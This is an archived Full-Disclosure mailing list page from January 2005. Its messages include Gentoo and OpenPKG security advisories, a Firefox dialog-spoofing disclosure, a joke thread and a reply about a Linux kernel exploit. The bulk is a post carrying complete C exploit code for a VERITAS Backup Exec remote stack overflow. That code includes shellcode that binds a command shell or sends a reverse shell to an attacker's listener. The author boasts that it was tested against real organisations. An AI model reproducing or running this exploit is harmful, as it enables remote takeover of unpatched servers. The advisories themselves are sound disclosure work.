Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050111/ec9cce16/attachment.bin 

From jaervosz at gentoo.org  Tue Jan 11 13:33:11 2005
From: jaervosz at gentoo.org (Sune Kloppenborg Jeppesen)
Date: Tue, 11 Jan 2005 14:33:11 +0100
Subject: [Full-Disclosure] [ GLSA 200501-18 ] KDE FTP KIOslave: Command
	injection
Message-ID: <200501111433.15873.jaervosz@gentoo.org>

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory                           GLSA 200501-18
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: KDE FTP KIOslave: Command injection
      Date: January 11, 2005
      Bugs: #73759
        ID: 200501-18

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

The FTP KIOslave contains a bug allowing users to execute arbitrary FTP
commands.

Background
==========

KDE is a feature-rich graphical desktop environment for Linux and
Unix-like Operating Systems. KDE provided KIOslaves for many protocols
in the kdelibs package, one of them being FTP. These are used by KDE
applications such as Konqueror.

Affected packages
=================

    -------------------------------------------------------------------
     Package           /  Vulnerable  /                     Unaffected
    -------------------------------------------------------------------
  1  kde-base/kdelibs     < 3.3.2-r2                       >= 3.3.2-r2
                                                          *>= 3.2.3-r5

Description
===========

The FTP KIOslave fails to properly parse URL-encoded newline
characters.

Impact
======

An attacker could exploit this to execute arbitrary FTP commands on the
server and due to similiarities between the FTP and the SMTP protocol,
this vulnerability also allows an attacker to connect to a SMTP server
and issue arbitrary commands, for example sending an email.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All kdelibs users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose kde-base/kdelibs

Note: There is currently no fixed stable 3.3.x version for sparc.

References
==========

  [ 1 ] KDE Security Advisory: ftp kioslave command injection
        http://www.kde.org/info/security/advisory-20050101-1.txt
  [ 2 ] CAN-2004-1165
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1165

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-18.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security at gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050111/9e0e97c6/attachment.bin 

From class101 at hat-squad.com  Tue Jan 11 13:56:07 2005
From: class101 at hat-squad.com (class 101)
Date: Tue, 11 Jan 2005 14:56:07 +0100
Subject: [Full-Disclosure] VERITAS Backup Exec 8.x/9.x Remote
	UniversalExploit
References: <004001c4f7d2$366b21c0$0200a8c0@box>
Message-ID: <00fc01c4f7e5$4d780820$0200a8c0@box>

you can get my clean code there dfind.kd-team.com
Bye and good urgent patching ;)
-------------------------------------------------------------
class101
Hat-Squad.com
-------------------------------------------------------------
  ----- Original Message ----- 
  From: class 101 
  To: full-disclosure at lists.netsys.com ; bugtraq at securityfocus.com 
  Sent: Tuesday, January 11, 2005 12:39 PM
  Subject: [Full-Disclosure] VERITAS Backup Exec 8.x/9.x Remote UniversalExploit


  Because k-otik are poor looser not respecting the publication of metasploit 2.3 , im forced to post my code.

  /*
  VERITAS Backup Exec v9.1.4691.SP1
                      v9.1.4691.SP0
       v8.5.3572
  Agent Browser Service, Remote Stack Overflow

  Highly Critical

  All credits to: 

  -iDEFENSE(discovery-www.iDEFENSE.com), 
  -Thor Doomen(iat-syscall[at]inbox.lv), 
  -H.D. Moore(scode-www.metasploit.com),
  -Matt Miller(scode-www.hick.org)

  ExtraNotes:

  All my tests/debugs where a bit long (some days) firstly due to the big size
  of Backup Exec and the unstability accross differents windows versions
  to make working that IAT method with 100% success and the difficulty to debug it.
  (As a recall, due to the 60 bytes only free, a tiny shellcode is send in first to scan
  the recv function of benetns.exe and jump to the data submitted during the second send,
  thanx syscall. Let's think large now. Imagine that you exploits the hole and you submit
  the shellcode 5 minutes later, the service will hang on to death of course until a kill,
  now imagine that you exploits the hole and you submit the shellcode too faslty for the,
  computer processing, the shellcode can be missed, wont be executed again, sometimes yes/no, but really unstable. 
  Hopefully (or unfortunely for you admin :>) I'm here to optimize it and make it 100% working, universal,
  stable whatever you want for the good fortune of script kiddies and to show what mean working to my good
  friends ka-odick :>
                                                   Tries
     Machine           Bind  / Rverse / Success

   (2x) Win2k SP4   Server English      10        10       20
   (1x) Win2k SP4   Pro    English       5         5       10
   (1x) WinXP SP1   Pro    English       5         5       10
   (1x) WinXP SP1a  Pro    English       5         5       10
   (3x) Win2003 SP0 Server English       5         5       10
   (1x) Win2003 SP0 Server Ita.          5         5       10
   (1x) NT4         Server English.      5         5       10

              = Universal

  v0.1:
  C code based on Thor Doomen's code posted at the metasploit mailing list,
  excellent in the method, but super unstable to not say not working when used,
  made some changes.

  v0.2:
  fix of the first big problem , the missed shellcode accross differents windows, 
  fixed by flooding benetns with more sends, timer really small, this is important.
  padding 1 nop to the reverse shellcode as needed, else crash on reverse.

  v0.3:
  universal esi call across v9.1 SP0 and SP1, for the good fortune of script kiddies.

  v0.4:
  As a warning, this poc v0.4 as been tested working by an anonymous tester (never mentionned there)
  on some organisations such nasa, states/edus, it's urgent to update 1 month after the advisory, sleepers.

  Tips: -make sure that your ip is safe of null bytes in reverse mode.
        -make sure that you targets the good version of Backup Exec,
        else you crash it.
     -Backup Exec v10.0 is now available, get it at www.veritas.com.
     -Visit dfind.kd-team.com for a patched benetns.exe, quick solution 
     for an urgent update. (extracted from the hotfix at www.veritas.com)
        Backup Exec 9.x is tested safe after replacing the .exe

  Greetings: 
     Nima Majidi
     Behrang Fouladi
     Pejman
     keystr0ke
     JGS
     DiabloHorn
     kimatrix
     NaV
     New Metasploit v2.3 (http://www.metasploit.com/)
     and all idlers of #n3ws on Eris Free Network.

  by class101 [at] hat-squad.com
  answering to all stupid questions that I got & will have, no I'm not persian and you don't care where I come from.

  04 January 2005
  */
  #include <stdio.h>
  #include <string.h>
  #include <time.h>
  #ifdef WIN32
  #include "winsock2.h"
  #pragma comment(lib, "ws2_32")
  #else
  #include <sys/socket.h>
  #include <sys/types.h>
  #include <netinet/in.h>
  #include <netinet/in_systm.h>
  #include <netinet/ip.h>
  #include <netdb.h>
  #include <arpa/inet.h>
  #include <unistd.h>
  #include <stdlib.h>
  #include <fcntl.h>
  #endif

  char scode1[]=
  file://Matt Millers 'skape' shellcode.
  "\x90"  // pad needed their for me, if you get scode detection problems on slow connections,
  file://try to add more NOP and make sure to update the memcpys later in the code.
  "\xeb\x6e\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0d\x56\x8b\x40\x0c\x8b\x70\x1c\xad"
  "\x8b\x40\x08\x5e\xc3\x8b\x40\x34\x83\xc0\x7c\x8b\x40\x3c\xc3\x60\x8b\x6c\x24\x24"
  "\x8b\x45\x3c\x8b\x7c\x05\x78\x03\xfd\x8b\x4f\x18\x8b\x5f\x20\x03\xdd\xe3\x33\x49"
  "\x8b\x34\x8b\x03\xf5\x33\xc0\x99\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x03\xd0\xeb"
  "\xf4\x3b\x54\x24\x28\x75\xe2\x8b\x5f\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5f\x1c\x03"
  "\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c\x61\xc3\xeb\x35\xad\x50\x52\xe8\xa9\xff"
  "\xff\xff\x89\x07\x83\xc4\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72"
  "\xfe\xb3\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xec\xf9\xaa\x60\xcb"
  "\xed\xfc\x3b\xe7\x79\xc6\x79\x83\xec\x60\x8b\xec\xeb\x02\xeb\x05\xe8\xf9\xff\xff"
  "\xff\x5e\xe8\x47\xff\xff\xff\x8b\xd0\x83\xee\x2e\x8d\x7d\x04\x8b\xce\x83\xc1\x10"
  "\xe8\xa5\xff\xff\xff\x83\xc1\x10\x33\xc0\x66\xb8\x33\x32\x50\x68\x77\x73\x32\x5f"
  "\x8b\xdc\x51\x52\x53\xff\x55\x04\x5a\x59\x8b\xd0\xe8\x85\xff\xff\xff\xb8\x01\x63"
  "\x6d\x64\xc1\xf8\x08\x50\x89\x65\x30\x33\xc0\x66\xb8\x90\x01\x2b\xe0\x54\x83\xc0"
  "\x72\x50\xff\x55\x1c\x33\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xff\x55\x14\x8b\xf0"
  "\x68\x7f\x01\x01\x01\xb8\x02\x01\x11\x5c\xfe\xcc\x50\x8b\xdc\x33\xc0\xb0\x10\x50"
  "\x53\x56\xff\x55\x18\x33\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa\x5f\xc6"
  "\x07\x44\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab\x5f\x33\xc0\x8d\x77\x44"
  "\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50\xff\x75\x30\x50\xff\x55\x08\xf7\xd0\x50"
  "\xff\x36\xff\x55\x10\xff\x77\x38\xff\x55\x20\xff\x55\x0c\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";


  char scode2[]=
  file://HD.Moore Shellcode
  file://"\x90"   uncomment this if you have scode detection problem on slows connections or try more NOP,
  file://but for me and some other guys its already fine like this.
  "\xEB"
  "\x0F\x58\x80\x30\x88\x40\x81\x38\x68\x61\x63\x6B\x75\xF4\xEB\x05\xE8\xEC\xFF\xFF"
  "\xFF\x60\xDE\x88\x88\x88\xDB\xDD\xDE\xDF\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D"
  "\xF0\x89\x62\x03\xC2\x90\x03\xD2\xA8\x89\x63\x6B\xBA\xC1\x03\xBC\x03\x89\x66\xB9"
  "\x77\x74\xB9\x48\x24\xB0\x68\xFC\x8F\x49\x47\x85\x89\x4F\x63\x7A\xB3\xF4\xAC\x9C"
  "\xFD\x69\x03\xD2\xAC\x89\x63\xEE\x03\x84\xC3\x03\xD2\x94\x89\x63\x03\x8C\x03\x89"
  "\x60\x63\x8A\xB9\x48\xD7\xD6\xD5\xD3\x4A\x80\x88\xD6\xE2\xB8\xD1\xEC\x03\x91\x03"
  "\xD3\x84\x03\xD3\x94\x03\x93\x03\xD3\x80\xDB\xE0\x06\xC6\x86\x64\x77\x5E\x01\x4F"
  "\x09\x64\x88\x89\x88\x88\xDF\xDE\xDB\x01\x6D\x60\xAF\x88\x88\x88\x18\x89\x88\x88"
  "\x3E\x91\x90\x6F\x2C\x91\xF8\x61\x6D\xC1\x0E\xC1\x2C\x92\xF8\x4F\x2C\x25\xA6\x61"
  "\x51\x81\x7D\x25\x43\x65\x74\xB3\xDF\xDB\xBA\xD7\xBB\xBA\x88\xD3\x05\xC3\xA8\xD9"
  "\x77\x5F\x01\x57\x01\x4B\x05\xFD\x9C\xE2\x8F\xD1\xD9\xDB\x77\xBC\x07\x77\xDD\x8C"
  "\xD1\x01\x8C\x06\x6A\x7A\xA3\xAF\xDC\x77\xBF\x77\xDD\xB8\xB9\x48\xD8\xD8\xD8\xD8"
  "\xC8\xD8\xC8\xD8\x77\xDD\xA4\x01\x4F\xB9\x53\xDB\xDB\xE0\x8A\x88\x88\xED\x01\x68"
  "\xE2\x98\xD8\xDF\x77\xDD\xAC\xDB\xDF\x77\xDD\xA0\xDB\xDC\xDF\x77\xDD\xA8\x01\x4F"
  "\xE0\xCB\xC5\xCC\x88\x01\x6B\x0F\x72\xB9\x48\x05\xF4\xAC\x24\xE2\x9D\xD1\x7B\x23"
  "\x0F\x72\x09\x64\xDC\x88\x88\x88\x4E\xCC\xAC\x98\xCC\xEE\x4F\xCC\xAC\xB4\x89\x89"
  "\x01\xF4\xAC\xC0\x01\xF4\xAC\xC4\x01\xF4\xAC\xD8\x05\xCC\xAC\x98\xDC\xD8\xD9\xD9"
  "\xD9\xC9\xD9\xC1\xD9\xD9\xDB\xD9\x77\xFD\x88\xE0\xFA\x76\x3B\x9E\x77\xDD\x8C\x77"
  "\x58\x01\x6E\x77\xFD\x88\xE0\x25\x51\x8D\x46\x77\xDD\x8C\x01\x4B\xE0\x77\x77\x77"
  "\x77\x77\xBE\x77\x5B\x77\xFD\x88\xE0\xF6\x50\x6A\xFB\x77\xDD\x8C\xB9\x53\xDB\x77"
  "\x58\x68\x61\x63\x6B\x90";  

  static char payload[800];
  char v91sp0sp1[]="\xFF\x50\x11\x40";
  char esisp0sp1[]="\xA1\xFF\x42\x01";
  char v85[]="\xFF\x38\x11\x40";
  char esiold[]="\xB9\x08\x43\x01";

  char talk[] =
  "\x02\x00\x32\x00"
  "\x90\x90\x90\x90"
  "\x31\xF6\xC1\xEC\x0C\xC1\xE4\x0C\x89\xE7\x89\xFB\x6A\x01\x8B\x74"
  "\x24\xFE\x31\xD2\x52\x42\xC1\xE2\x10\x52\x57\x56\xB8\x00\x00\x00"
  "\x00\xC1\xE8\x08\xFF\x10\x85\xC0\x79\x07\x89\xDC\x4E\x85\xF6\x75"
  "\xE1\xFF\xE7\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x00"
  "1.1.1.1.1.1"
  "\x00"
  "\xEB\x80";

  #ifdef WIN32
   WSADATA wsadata;
  #endif

  void ver();
  void usage(char* us);

  int main(int argc,char *argv[])
  {
   ver();
   unsigned long gip;
   unsigned short gport;
   char *os;
   if (argc>6||argc<3||atoi(argv[1])>2||atoi(argv[1])<1){usage(argv[0]);return -1;} 
   if (argc==5){usage(argv[0]);return -1;} 
      if (strlen(argv[2])<7){usage(argv[0]);return -1;} 
      if (argc==6)
   {
          if (strlen(argv[4])<7){usage(argv[0]);return -1;} 
   }
  #ifndef WIN32
   if (argc==6)
   {
     gip=inet_addr(argv[4])^(long)0x00000000;
    gport=htons(atoi(argv[5]))^(short)0x0000;
   }
  #define Sleep  sleep
  #define SOCKET  int
  #define closesocket(s) close(s)
  #else
   if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){printf("[+] wsastartup error\n");return -1;}
   if (argc==6)
   {
    gip=inet_addr(argv[4])^(ULONG)0x00000000;
    gport=htons(atoi(argv[5]))^(USHORT)0x0000;
   }
  #endif
   int ip=htonl(inet_addr(argv[2])), port;
   if (argc==4||argc==6){port=atoi(argv[3]);} else port=6101;
   SOCKET s;fd_set mask;struct timeval timeout; struct sockaddr_in server;
   s=socket(AF_INET,SOCK_STREAM,0);
   if (s==-1){printf("[+] socket() error\n");return -1;} 
   if (atoi(argv[1])==1) {memcpy(&talk[37], &v91sp0sp1, 4);memcpy(&talk[72], &esisp0sp1, 4);os="Backup Exec v9.1.4691.1\n[+]            Backup Exec v9.1.4691.0";}
   else {memcpy(&talk[37], &v85, 4);memcpy(&talk[72], &esiold, 4);os="Backup Exec v8.5.3572";}
   if (argc==6)
   {
    memcpy(&scode1[282], &gip, 4);
    memcpy(&scode1[289], &gport, 2);
    strcat(payload,scode1);
   }
   else strcat(payload,scode2);
   printf("[+] target(s): %s\n",os);   
   server.sin_family=AF_INET;
   server.sin_addr.s_addr=htonl(ip);
   server.sin_port=htons(port);
   connect(s,( struct sockaddr *)&server,sizeof(server));
   timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);
   switch(select(s+1,NULL,&mask,NULL,&timeout))
   {
    case -1: {printf("[+] select() error\n");closesocket(s);return -1;}
    case 0: {printf("[+] connect() error\n");closesocket(s);return -1;}
    default:
    if(FD_ISSET(s,&mask))
    {
     printf("[+] connected, constructing the payload...\n");
     if (send(s,talk,sizeof(talk)-1,0)==-1) { printf("[+] sending error 1, the server prolly rebooted.\n");return -1;}

  #ifdef WIN32
     Sleep(10);
  #else
     Sleep(1/100);
  #endif
     if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error 2, the server is patched.\n");return -1;}

  #ifdef WIN32
     Sleep(10);
  #else
     Sleep(1/100);
  #endif

     if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error 3, the server is patched.\n");return -1;}

  #ifdef WIN32
     Sleep(10);
  #else
     Sleep(1/100);
  #endif

     if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error 4, the server is patched.\n");return -1;}

  #ifdef WIN32
     Sleep(10);
  #else
     Sleep(1/100);
  #endif

     if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error 5, the server is patched.\n");return -1;}

  #ifdef WIN32
     Sleep(10);
  #else
     Sleep(1/100);
  #endif
     if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error 6, the server is patched.\n");return -1;}

  #ifdef WIN32
     Sleep(10);
  #else
     Sleep(1/100);
  #endif
     if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error 7, the server is patched.\n");return -1;}

  #ifdef WIN32
     Sleep(10);
  #else
     Sleep(1/100);
  #endif
     if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error 8, the server is patched.\n");return -1;}
  #ifdef WIN32
     Sleep(1000);
  #else
     Sleep(1);
  #endif   
     printf("[+] size of payload: %d\n",(sizeof(talk)-1)+strlen(payload)*7);   
     printf("[+] payload sent.\n");
     return 0;
    }
   }
   closesocket(s);
  #ifdef WIN32
   WSACleanup();
  #endif
   return 0;
  }


  void usage(char* us) 
  {  
   printf("USAGE:\n");
   printf("      [+]  . 101_BXEC.exe Version VulnIP\n");
   printf("      [+]  . 101_BXEC.exe Version VulnIP VulnPORT\n");
   printf("      [+]  . 101_BXEC.exe Version VulnIP VulnPORT GayIP GayPORT\n");
   printf("VERSION:                               \n");
   printf("      [+] 1. Backup Exec v9.1.4691.SP1\n");
   printf("      [+] 1. Backup Exec v9.1.4691.SP0\n");
   printf("      [+] 2. Backup Exec v8.5.3572\n");
   printf("TARGET:                               \n");
   printf("      [+]  . 2k3/2k/XP/NT4 universal (*)\n");
   printf("NOTE:                               \n");
   printf("      The exploit bind a cmdshell port 101 or\n");
   printf("      reverse a cmdshell on your listener.\n");
   printf("      A wildcard (*) mean tested working.\n");
   printf("      Compilation msvc6, cygwin, Linux.\n");
   return;
  } 
  void ver()
  { 
   printf("                                                                   \n");
   printf("        ================================================[0.4]========\n");
   printf("        =================VERITAS Backup Exec 8.x/9.x=================\n"); 
   printf("        =========Agent Browser Service, Remote Stack Overflow========\n");
   printf("        ======coded by class101=============[Hat-Squad.com 2005]=====\n");
   printf("        =============================================================\n");
   printf("                                                                   \n");
  }

  -------------------------------------------------------------
  class101
  Hat-Squad.com
  -------------------------------------------------------------


------------------------------------------------------------------------------


  _______________________________________________
  Full-Disclosure - We believe in it.
  Charter: http://lists.netsys.com/full-disclosure-charter.html

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050111/d434f1c9/attachment.html 

From Athanasius at miggy.org  Tue Jan 11 14:20:52 2005
From: Athanasius at miggy.org (Athanasius)
Date: Tue, 11 Jan 2005 14:20:52 +0000
Subject: [Full-Disclosure] Linux kernel uselib() privilege elevation,
	corrected
In-Reply-To: <888c2d720501102356552821df@mail.gmail.com>
References: <888c2d720501102356552821df@mail.gmail.com>
Message-ID: <20050111142052.GC968@miggy.org>

On Tue, Jan 11, 2005 at 07:56:32AM +0000, Marcy Darcy wrote:
> I'm running a small server with the 2.6.10 kernel.
> 
> The exploit doesen't seem to be working on this kernel. Is there a way
> to make sure the sistem is vulnerable or not?

  I couldn't get the exploit to work for 2.6.10 either.  First there's
changing a struct in it to user_desc to make it compile, then it just
SEGVs all the time here.
  This is quite apart from the fact it's trying to exploit a race
condition and as such can take a lot of attempts in a loop to actually
work anyway (must have hit it on the 50th or more iteration on my 2.4.28
machine).
  Anyone got working exploit code for 2.6.10 ?

-Ath
-- 
- Athanasius = Athanasius(at)miggy.org / http://www.miggy.org/
                  Finger athan(at)fysh.org for PGP key
	   "And it's me who is my enemy. Me who beats me up.
Me who makes the monsters. Me who strips my confidence." Paula Cole - ME
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 240 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050111/1fbc973c/attachment.bin 

From craig.soderland at sap.com  Tue Jan 11 14:37:20 2005
From: craig.soderland at sap.com (Soderland, Craig)
Date: Tue, 11 Jan 2005 15:37:20 +0100
Subject: [Full-Disclosure] Firespoofing [Firefox 1.0]
Message-ID: <FBF77CAA2771D31188580008C79182F213CBD072@usphlx16.phl.sap.corp>

This does not work if you are using the FireFox 1.0 tabbed browsing
feature, as your pop up window simply opens a new tab, and it then
becomes immediately obvious what you are trying to pull off here. 



> -----Original Message-----
> From: full-disclosure-bounces at lists.netsys.com
[mailto:full-disclosure-
> bounces at lists.netsys.com]
> Sent: Monday, January 10, 2005 6:22 PM
> To: full-disclosure at lists.netsys.com; bugtraq at securityfocus.com;
> NTBUGTRAQ at listserv.ntbugtraq.com
> Subject: [Full-Disclosure] Firespoofing [Firefox 1.0]
> 
> __Summary
> 
> Using javascript it is possible to spoof the content of security and
> download dialogs by partly covering them with a popup window. This can
> fool
> a user to download and automaticly execute a file (if a file extension
> association exists) or to grant a script local data access (if
codebase
> principals are enabled).
> 
> __Expected Behavior
> 
> Modal dialogs should always be on top and it should not be possible to
> obfuscate their appearance.
> 
> __Proof-of-Concept
> 
> http://www.mikx.de/firespoofing/
> 
> The PoC is designed for Firefox 1.0 running in a maximized window.
> 
> Part 1 - download dialog spoofing
> Shows how to cover a download dialog and fool the user to execute a
file
> with a standard windows file association (in this case a .ht file).
BTW,
> remember the latest .ht buffer overflow...
> 
> Part 2 - security dialog spoofing
> Shows how to cover a security dialog. Make sure codebase principals
are
> enabled (not default but encouraged by many XUL sites). Creates the
file
> c:\booom.txt to proof local system access.
> 
> __Status
> 
> The bug is confirmed but currently unfixed (open for more than 3
months).
> As
> a partial workaround set dom.disable_window_flip to true in
about:config.
> The vendor failed to respond to multiple status requests which led to
this
> public disclosure.
> 
> 2004-09-20 Vendor informed (bugzilla.mozilla.org #260560)
> 2004-09-20 Vendor confirmed bug
> 2004-10-20 Status request (open for 1 month - no reply)
> 2005-01-03 Status request (open for 3 months - no reply)
> 2005-01-07 Status request (disclosure warning - no reply)
> 2005-01-11 Public disclosure
> 
> __Affected Software
> 
> Tested with Firefox 1.0, Mozilla 1.7.5 and Netscape 7.1 on Windows XP
SP2.
> 
> __Contact Informations
> 
> Michael Krax <mikx at mikx.de>
> http://www.mikx.de/?p=7
> 
> mikx
> 
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html



From dank.krew at gmail.com  Tue Jan 11 15:05:12 2005
From: dank.krew at gmail.com (stonersavant)
Date: Tue, 11 Jan 2005 07:05:12 -0800
Subject: [Full-Disclosure] Shoe 1.0 - Remote Lace Overflow
In-Reply-To: <6.0.1.1.2.20041226193459.05301dd0@mail.mindtheater.net>
References: <20041222162045.GA12051@0x90.org>
	<d4322ab80412251549574f0f38@mail.gmail.com>
	<6.0.1.1.2.20041226193459.05301dd0@mail.mindtheater.net>
Message-ID: <7edf447e05011107057e2f07b3@mail.gmail.com>

I tested this in my lab. I'm happy to report that s10.5 Ninja Tabi
boots appear to be unaffected by the vulnerability.

savant
http://johnny.ihackstuff.com

On Sun, 26 Dec 2004 19:45:54 -0500, Nancy Kramer
<nekramer at mindtheater.net> wrote:
> The points on cowboy boots are also great for stepping on cockroaches in
> corners thereby helping one maintain a bug free environment.
> 
> Regards,
> 
> Nancy Kramer
> Webmaster http://www.americandreamcars.com
> Free Color Picture Ads for Collector Cars
> One of the Ten Best Places To Buy or Sell a Collector Car on the Web
> 
> 
> At 06:49 PM 12/25/2004, Thomas Sutpen wrote:
> 
> >On Wed, 22 Dec 2004 11:20:45 -0500, announce at 0x90.org <announce at 0x90.org>
> >wrote:
> >[...]
> > >  Vulnerable Sizes:
> > >  -----------------
> > >  6 through 13. Other sizes may be vulnerable, but were unavailable for
> > testing.
> >
> >Cursory note:  The guy with the size 13s must get all the chicks.  You
> >know what they say ....
> >
> >[...]
> >
> > >  Fix:
> > >  ----
> > >  Do not wear untrusted shoes sent to you. Other possible workarounds
> > include
> > >  sandals (aka. flip-flops). These are a good work-around and are widely
> > >  available for those concerned about their security.
> >
> >Merrell also makes a "Jungle Moc" that is a mitigating factor to this
> >vulnerability.  All shoes of similar "Moccasin" styles, as well as
> >Cowboy Boots, also seem to be unaffected.  Cowboy Boots with spurs
> >seem to add an additional layer of security, as well as cool points.
> >
> >Review of their website seems to indicate that they're going to be
> >discontinuing the line, though.  So, with Boxing Day tommorrow, I'd
> >recommend snapping up a few pairs as a cautionary posture against the
> >possibility of future attacks.
> >
> >[...]
> >
> >TS
> >_______________________________________________
> >Full-Disclosure - We believe in it.
> >Charter: http://lists.netsys.com/full-disclosure-charter.html
> >
> >
> >
> >
> >---
> >Incoming mail is certified Virus Free.
> >Checked by AVG anti-virus system (http://www.grisoft.com).
> >Version: 6.0.822 / Virus Database: 560 - Release Date: 12/22/2004
> 
> 
> 
> ---
> Outgoing mail is certified Virus Free.
> Checked by AVG anti-virus system (http://www.grisoft.com).
> Version: 6.0.822 / Virus Database: 560 - Release Date: 12/22/2004
> 
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
> 
> 
> 


-- 
someone is watching you.


From openpkg at openpkg.org  Tue Jan 11 15:09:17 2005
From: openpkg at openpkg.org (OpenPKG)
Date: Tue, 11 Jan 2005 16:09:17 +0100
Subject: [Full-Disclosure] [OpenPKG-SA-2005.001] OpenPKG Security Advisory
	(perl)
Message-ID: <OpenPKG-SA-2005.001@openpkg.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

________________________________________________________________________

OpenPKG Security Advisory                            The OpenPKG Project
http://www.openpkg.org/security.html              http://www.openpkg.org
openpkg-security at openpkg.org                         openpkg at openpkg.org
OpenPKG-SA-2005.001                                          11-Jan-2005
________________________________________________________________________

Package:             perl
Vulnerability:       information disclosure, insecure permissions
OpenPKG Specific:    no

Affected Releases:   Affected Packages:          Corrected Packages:
OpenPKG CURRENT      <= perl-5.8.6-20041129      >= perl-5.8.6-20050111
OpenPKG 2.2          <= perl-5.8.5-2.2.0         >= perl-5.8.5-2.2.1
OpenPKG 2.1          <= perl-5.8.4-2.1.0         >= perl-5.8.4-2.1.1

Dependent Packages:  none

Description:
  Jeroen van Wolffelaar discovered that the rmtree() function in the
  Perl [0] File::Path module removes directory trees in an insecure
  manner which could lead to the removal of arbitrary files and
  directories through a symlink attack. The Common Vulnerabilities and
  Exposures (CVE) project assigned the id CAN-2004-0452 [1] to the
  problem.

  Trustix developers discovered several insecure uses of temporary files
  in many modules which allow a local attacker to overwrite files via a
  symlink attack. The Common Vulnerabilities and Exposures (CVE) project
  assigned the id CAN-2004-0976 [2] to the problem.

  Please check whether you are affected by running "<prefix>/bin/openpkg
  rpm -q perl". If you have the "perl" package installed and its version
  is affected (see above), we recommend that you immediately upgrade it
  (see Solution) [3][4].

Solution:
  Select the updated source RPM appropriate for your OpenPKG release
  [5][6], fetch it from the OpenPKG FTP service [7][8] or a mirror
  location, verify its integrity [9], build a corresponding binary RPM
  from it [3] and update your OpenPKG installation by applying the
  binary RPM [4]. For the most recent release OpenPKG 2.2, perform the
  following operations to permanently fix the security problem (for
  other releases adjust accordingly).

  $ ftp ftp.openpkg.org
  ftp> bin
  ftp> cd release/2.2/UPD
  ftp> get perl-5.8.5-2.2.1.src.rpm
  ftp> bye
  $ <prefix>/bin/openpkg rpm -v --checksig perl-5.8.5-2.2.1.src.rpm
  $ <prefix>/bin/openpkg rpm --rebuild perl-5.8.5-2.2.1.src.rpm
  $ su -
  # <prefix>/bin/openpkg rpm -Fvh <prefix>/RPM/PKG/perl-5.8.5-2.2.1.*.rpm
________________________________________________________________________

References:
  [0] http://www.perl.com/
  [1] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0452
  [2] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0976
  [3] http://www.openpkg.org/tutorial.html#regular-source
  [4] http://www.openpkg.org/tutorial.html#regular-binary
